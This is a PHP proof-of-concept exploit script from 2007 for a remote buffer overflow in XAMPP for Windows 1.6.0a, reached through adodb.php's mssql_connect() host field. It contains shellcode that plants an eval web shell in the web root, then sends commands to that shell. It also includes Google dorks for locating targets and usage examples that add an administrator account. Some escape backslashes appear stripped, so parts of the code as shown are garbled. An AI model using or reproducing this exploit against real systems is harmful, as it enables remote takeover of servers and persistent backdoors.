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xampp-rgod.txt

Posted on 17 April 2007

<?php
print_r('
---------------------------------------------------------------------------
XAMPP for Windows <= 1.6.0a adodb.php/mssql_connect() remote buffer overflow
proof-of-concept exploit
seh overwrite method / 2000 sp3 version
mail: retrog at alice dot it
site: http://retrogod.altervista.org
---------------------------------------------------------------------------
');

/*

http://sourceforge.net/project/showfiles.php?group_id=61776

this easy to install Apache / MySQL / PHP distribution for Windows
carries various (lots) test scripts vulnerable to sql injection, but
we have here another kind of injection, adodb.php lines 62-68:

...
include_once 'adodb/adodb-errorpear.inc.php';
include_once 'adodb/adodb.inc.php';
include_once 'adodb/tohtml.inc.php';

$db = ADONewConnection($_POST['dbserver']);

@$db->Connect($_POST['host'], $_POST['user'], $_POST['password'], $_POST['database']);
echo "<p><b>DBServer: $_POST[dbserver]</b><p>";
$result = $db->Execute("SELECT * FROM $_POST[table]");
...

mssql_connect() function is vulnerable to buffer overflow and
the host argument is totally unchecked. Also this shows a vulnerabilty in
ADODB library (which is in the include path, inside PEAR folder) in the
Connect method .

If you say that this should be not used for production purpose or
exposed to the outside world, try theese google dorks:

intitle:XAMPP intitle:windows intitle:version
intitle:XAMPP intitle:version intitle:1.6.0a +windows

note: I could use the INTO OUTFILE method through sql injection
to export some shell inside the /htdocs folder because we have FILE
privilege, but we have  magic_quotes_gpc on here. This is instead
possbile through the PhpMyAdmin default user/password.
note ii: PHP version is 5.2.1
note iii: bof is possible because mssql extension is enabled
by default in php.ini
*/

if ($argc<2) {
print_r('
---------------------------------------------------------------------------
Usage: php '.$argv[0].' host cmd OPTIONS
host:      target server (ip/hostname)
cmd:       a shell command
Options:
-p[port]:    specify a port other than 80
-P[ip:port]: specify a proxy
-S           only send the second packet
Example:
php '.$argv[0].' localhost VER -P1.1.1.1:80
php '.$argv[0].' localhost NET USER sun tzu /ADD ^&^& NET LOCALGROUP
Administrators /ADD sun -p81 -S
---------------------------------------------------------------------------
');
die;
}
error_reporting(7);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.="  .";}
else
{$result.="  ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="
"; $exa.="
";}
}
return $exa."
".$result;
}
$proxy_regex = '(d{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5})';

function sendpacketii($packet,$want_out)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...
";
$ock=fsockopen($parts[0],(int)$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($want_out){
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
}
fclose($ock);
}

$host=$argv[1];
$port=80;
$proxy="";
$cmd="";
$send_bof=true;
for ($i=2; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p")
and ($temp<>"-P")
and ($temp<>"-S")
){
$cmd.=" ".$argv[$i];
}
if ($temp=="-p")
{
$port=(int)str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
if ($temp=="-S")
{
$send_bof=false;
}
}
if ($proxy=='') {$p="";} else {$p='http://'.$host.':'.$port;}

//bad chars -> x00,x22,x27,x5c thoose affected by magic_quotes_gpc
//102 bytes execute command one by me...
//cmd.exe /c echo ^<?php eval($_SERVER[HTTP_C]);?^> > ./htdocs/xampp/s.php &

if ($send_bof){
$____scode=
"xebx13x5bx31xc0x50x31xc0x88x43x4ax53".
"xbbxcax73xe9x77". //WinExec, kernel32.dll
"xffxd3x31xc0xe8xe8xffxffxffx63x6dx64".
"x2ex65x78x65x20x2fx63x20x65x63x68x6f".
"x20x5ex3cx3fx70x68x70x20x65x76x61x6c".
"x28x24x5fx53x45x52x56x45x52x5bx48x54".
"x54x50x5fx43x5dx29x3bx3fx5ex3ex20x3e".
"x20x2ex2fx68x74x64x6fx63x73x2fx78x61".
"x6dx70x70x2fx73x2ex70x68x70x20x26x20".
"xff";

//some junk to make this adjustable for sp4
//eip = ecx
$eip="x47x30xE9x77"; //0x77E93047  pop ECX - pop - retbis kernel32.dll and further ja short
$jmp="xebx8bx90x90"; //jmp short
$____suntzu=str_repeat("x90",1932-strlen($____scode)).$____scode."x90x90x90x90x90x90x90x90".$jmp.$eip;

$data ="-----------------------------7d61bcd1f033e
";
$data.="Content-Disposition: form-data; name="dbserver";

";
$data.="mssql
";
$data.="-----------------------------7d61bcd1f033e
";
$data.="Content-Disposition: form-data; name="host";

";
$data.="$____suntzu
";
$data.="-----------------------------7d61bcd1f033e
";
$data.="Content-Disposition: form-data; name="adodb";

";
$data.="submit
";
$data.="-----------------------------7d61bcd1f033e
";
$data.="Content-Disposition: form-data; name="user";

";
$data.="1
";
$data.="-----------------------------7d61bcd1f033e
";
$data.="Content-Disposition: form-data; name="password";

";
$data.="1
";
$data.="-----------------------------7d61bcd1f033e
";
$data.="Content-Disposition: form-data; name="database";

";
$data.="1
";
$data.="-----------------------------7d61bcd1f033e--
";
$packet ="POST $p/xampp/adodb.php HTTP/1.0
";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d61bcd1f033e
";
$packet.="Host: ".$host."
";
$packet.="Content-Length: ".strlen($data)."
";
$packet.="Connection: Close

";
$packet.=$data;
sendpacketii($packet,0);
sleep(2);
}

echo "cmd -> ".$cmd."
";

$packet ="GET $p/xampp/s.php HTTP/1.0
";
$packet.="C: error_reporting(E_ALL);set_time_limit(0);echo "_delim_";passthru($_SERVER[HTTP_CMD]);echo "_delim_";
";
$packet.="CMD: $cmd
";
$packet.="Host: ".$host."
";
$packet.="Connection: Close

";
sendpacketii($packet,1);
$out=explode("_delim_",$html);
echo $out[1];
?>

 

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